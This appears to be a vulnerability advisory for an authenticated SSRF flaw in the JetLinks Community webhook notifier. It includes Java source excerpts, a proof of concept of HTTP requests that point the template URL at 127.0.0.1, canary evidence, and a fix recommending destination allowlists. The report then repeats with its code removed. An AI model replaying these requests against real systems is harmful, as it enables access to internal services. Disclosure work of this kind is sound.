Summary
The notifier send workflow allows an authenticated caller to supply an HTTP WebHook template URL. HttpWebHookNotifier uses that URL as the WebClient destination and can also use the template method and context to control the outbound request. No destination policy is applied before the request is sent.
Root Cause
The vulnerable source is the authenticated notifier send endpoint in NotifierController.java:63-77. The controller loads the selected notifier and creates a template from the caller's SendNotifyRequest:
@PostMapping("/{notifierId}/_send")
public Mono<Void> sendNotify(
@PathVariable String notifierId,
@RequestBody Mono<SendNotifyRequest> mono) {
return mono.flatMap(tem ->
Mono.zip(
notifierManager.getNotifier(type, notifierId),
templateManager.createTemplate(
type, tem.getTemplate().toTemplateProperties()))
.flatMap(tuple ->
tuple.getT1().send(tuple.getT2(),
Values.of(tem.getContext()))));
}
The attacker-controlled source is template.url in the send request. It is rendered into HttpWebHookTemplate and is not replaced with the URL stored in the notifier configuration. HttpWebHookNotifier.java:69-103 then uses that value as the WebClient destination:
public Mono<Void> send(HttpWebHookTemplate template, Values context) {
HttpMethod method = template.getMethod();
WebClient.RequestBodyUriSpec bodyUriSpec =
webClient.method(method);
if (StringUtils.hasText(template.getUrl())) {
bodyUriSpec.uri(template.getUrl());
}
...
return bodyUriSpec.retrieve()
.bodyToMono(String.class)
.then();
}
The source-to-sink flow is:
POST /notifier/{notifierId}/_send
-> SendNotifyRequest.template.url
-> templateManager.createTemplate
-> HttpWebHookNotifier.send
-> WebClient.method(template.method).uri(template.url)
-> target-side HTTP service
POC
Create the disposable notifier:
POST /notifier/config HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 185
{"id":"union-http-webhook","name":"Union HTTP Webhook","description":"disposable dynamic SSRF probe","type":"webhook","provider":"http","configuration":{"url":"http://example.invalid"}}
Configuration response:
HTTP/1.1 200 OK
traceparent: 00-f055bc91da024232fad8026f69766fe5-6e4e091ac82c4526-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 347
{"message":"success","result":{"id":"union-http-webhook","name":"Union HTTP Webhook","type":"webhook","provider":"http","description":"disposable dynamic SSRF probe","maxRetryTimes":0,"creatorId":"21232f297a57a5a743894a0e4a801fc3","createTime":1785655007950,"configuration":{"url":"http://example.invalid"}},"status":200,"timestamp":1785655008049}
Send request A:
POST /notifier/union-http-webhook/_send HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 172
{"template":{"type":"webhook","provider":"http","template":{"url":"http://127.0.0.1:28081/poc/jetlinks-community_SSRF-003-A","contextAsBody":true}},"context":{"probe":"A"}}
Response A:
HTTP/1.1 200 OK
traceparent: 00-a016454df6349b6318613e6e56aa3117-0d7d4fcbf9056f80-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60
{"message":"success","status":200,"timestamp":1785655008070}
Request B used the same endpoint with SSRF-003-B and {"probe":"B"}. The response was:
HTTP/1.1 200 OK
traceparent: 00-4c7146e09d7d9a391d55715f40e744b1-77f416df87a015d2-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60
{"message":"success","status":200,"timestamp":1785655008474}
Target-side canary evidence:
POST /poc/jetlinks-community_SSRF-003-A
source: 127.0.0.1
body: {"probe":"A"}
POST /poc/jetlinks-community_SSRF-003-B
source: 127.0.0.1
body: {"probe":"B"}
Impact
An authenticated principal that can create/use a WebHook notifier can make JetLinks issue HTTP requests to internal services and can control the request path and POST body. Depending on the configured method and downstream service, this may enable internal API invocation, service discovery, or access to endpoints that trust requests from the JetLinks network.
Suggested Fix
Treat notifier destinations as security-sensitive configuration. Enforce an allowlist of schemes, hosts, ports, and resolved addresses, reject loopback/private/link-local/metadata ranges, revalidate redirects, and keep the inline template URL disabled or restricted to prevalidated notifier configuration.
Summary
The notifier send workflow allows an authenticated caller to supply an HTTP WebHook template URL. HttpWebHookNotifier uses that URL as the WebClient destination and can also use the template method and context to control the outbound request. No destination policy is applied before the request is sent.
Root Cause
The vulnerable source is the authenticated notifier send endpoint in NotifierController.java:63-77. The controller loads the selected notifier and creates a template from the caller's SendNotifyRequest:
The attacker-controlled source is template.url in the send request. It is rendered into HttpWebHookTemplate and is not replaced with the URL stored in the notifier configuration. HttpWebHookNotifier.java:69-103 then uses that value as the WebClient destination:
The source-to-sink flow is:
POC
Create the disposable notifier:
Configuration response:
Send request A:
Response A:
Request B used the same endpoint with
SSRF-003-Band{"probe":"B"}. The response was:Target-side canary evidence:
Impact
An authenticated principal that can create/use a WebHook notifier can make JetLinks issue HTTP requests to internal services and can control the request path and POST body. Depending on the configured method and downstream service, this may enable internal API invocation, service discovery, or access to endpoints that trust requests from the JetLinks network.
Suggested Fix
Treat notifier destinations as security-sensitive configuration. Enforce an allowlist of schemes, hosts, ports, and resolved addresses, reject loopback/private/link-local/metadata ranges, revalidate redirects, and keep the inline template URL disabled or restricted to prevalidated notifier configuration.